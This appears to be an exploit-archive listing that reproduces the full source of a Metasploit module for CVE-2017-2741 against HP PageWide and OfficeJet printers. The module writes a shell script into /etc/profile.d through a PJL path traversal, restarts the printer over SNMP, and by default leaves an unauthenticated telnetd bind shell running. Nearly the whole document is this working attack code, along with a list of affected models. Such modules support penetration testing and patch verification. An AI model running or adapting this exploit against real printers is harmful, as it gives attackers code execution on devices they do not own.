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HP Jetdirect Path Traversal Arbitrary Code Execution

HP Jetdirect Path Traversal Arbitrary Code Execution
Posted Aug 27, 2018
Authored by Jacob Baines | Site metasploit.com

This Metasploit module exploits a path traversal via Jetdirect to gain arbitrary code execution by writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer is restarted using SNMP. A large amount of printers are impacted.

tags | exploit, arbitrary, shell, code execution
advisories | CVE-2017-2741
MD5 | 330fb84840e2b0a7602e2d3e4c2701b5

HP Jetdirect Path Traversal Arbitrary Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "rex/proto/pjl"

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::SNMPClient
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Jetdirect Path Traversal Arbitrary Code Execution',
'Description' => %q{
The module exploits a path traversal via Jetdirect to gain arbitrary code execution by
writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer
is restarted using SNMP. Impacted printers:
HP PageWide Managed MFP P57750dw
HP PageWide Managed P55250dw
HP PageWide Pro MFP 577z
HP PageWide Pro 552dw
HP PageWide Pro MFP 577dw
HP PageWide Pro MFP 477dw
HP PageWide Pro 452dw
HP PageWide Pro MFP 477dn
HP PageWide Pro 452dn
HP PageWide MFP 377dw
HP PageWide 352dw
HP OfficeJet Pro 8730 All-in-One Printer
HP OfficeJet Pro 8740 All-in-One Printer
HP OfficeJet Pro 8210 Printer
HP OfficeJet Pro 8216 Printer
HP OfficeJet Pro 8218 Printer

Please read the module documentation regarding the possibility for leaving an
unauthenticated telnetd service running as a side effect of this exploit.
},
'Author' => [
'Jacob Baines', # Python PoC
'Matthew Kienow <matthew_kienow[AT]rapid7.com>', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-2741' ],
[ 'URL', 'https://support.hp.com/lt-en/document/c05462914' ],
[ 'URL', 'http://tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution' ]
],
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd'
}
},
]
],
'Privileged' => true,
'DisclosureDate' => 'Apr 05 2017',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',
'WfsDelay' => 180
}
))

register_options(
[
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
OptPort.new('SNMPPORT', [true, 'The SNMP port', 161])
]
)
end

def execute_command(cmd, opts = {})
rpath = '0:/../../rw/var/etc/profile.d/'
stager_script_name = opts[:stager_script_name]
cmd = "(cd / && #{cmd}); rm -f /etc/profile.d/#{stager_script_name}"

begin
# use PJL to write command stager
print_status("Connecting to port #{rport}...")

pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job

pjl.fsinit(rpath[0..1])

print_status("Attempting to write command stager...")
rpath = "#{rpath}#{stager_script_name}"
if pjl.fsdownload(cmd, rpath, is_file: false)
print_good("Successfully wrote command stager to #{rpath}")
else
print_error("Failed to write command stager to #{rpath}")
return
end

# verify command stager exists
unless pjl.fsquery(rpath)
print_error("Command stager does not exist at #{rpath}; aborting...")
return
end

pjl.end_job

rescue Rex::ConnectionError
print_error("Connection Refused")
raise
end
end

def restart_printer
pjl_port = datastore['RPORT']
snmp_port = datastore['SNMPPORT']
community = datastore['COMMUNITY']
# Printer MIB prtGeneralReset object identifier (numeric notation)
prt_general_reset = '1.3.6.1.2.1.43.5.1.1.3.1'
# prtGeneralReset powerCycleReset(4) value
power_cycle_reset = 4

begin
# TODO: Update when there is a clean approach to using two or more mixins that both use RPORT.
datastore['RPORT'] = snmp_port
print_status("Connecting to SNMP port #{rport}...")
snmp = connect_snmp

# get value of Printer MIB prtGeneralReset
reset_value = snmp.get_value(prt_general_reset)
reset_value = "''" if reset_value.is_a?(SNMP::Null)
print_status("Initial value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")

# set value of Printer MIB prtGeneralReset to powerCycleReset(4)
print_status("Attempting to restart printer via SNMP...")
varbind = SNMP::VarBind.new(prt_general_reset, SNMP::Integer.new(power_cycle_reset))
response = snmp.set(varbind)

if response.error_status == :noError
print_status("Set prtGeneralReset OID #{prt_general_reset} => #{power_cycle_reset}")

# get value of Printer MIB prtGeneralReset
reset_value = snmp.get_value(prt_general_reset)
reset_value = "''" if reset_value.is_a?(SNMP::Null)
print_status("Current value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")
print_status("Printer restarting...")

else
print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")
end

rescue SNMP::RequestTimeout
print_error("SNMP request timeout with community '#{community}'")
raise
rescue SNMP::UnsupportedVersion
print_error("Unsupported SNMP version specified; use '1' or '2c'")
raise
rescue Rex::ConnectionError
print_error("Connection Refused")
raise
ensure
# restore original rport value
datastore['RPORT'] = pjl_port
end
end

def exploit
begin
opts = {
stager_script_name: "#{Rex::Text.rand_text_alpha(8)}.sh"
}

print_status("Exploiting...")
connect
if target.name =~ /Unix/
execute_command(payload.encoded, opts)
else
execute_cmdstager(opts)
end
restart_printer

return
ensure
disconnect
end
end

end

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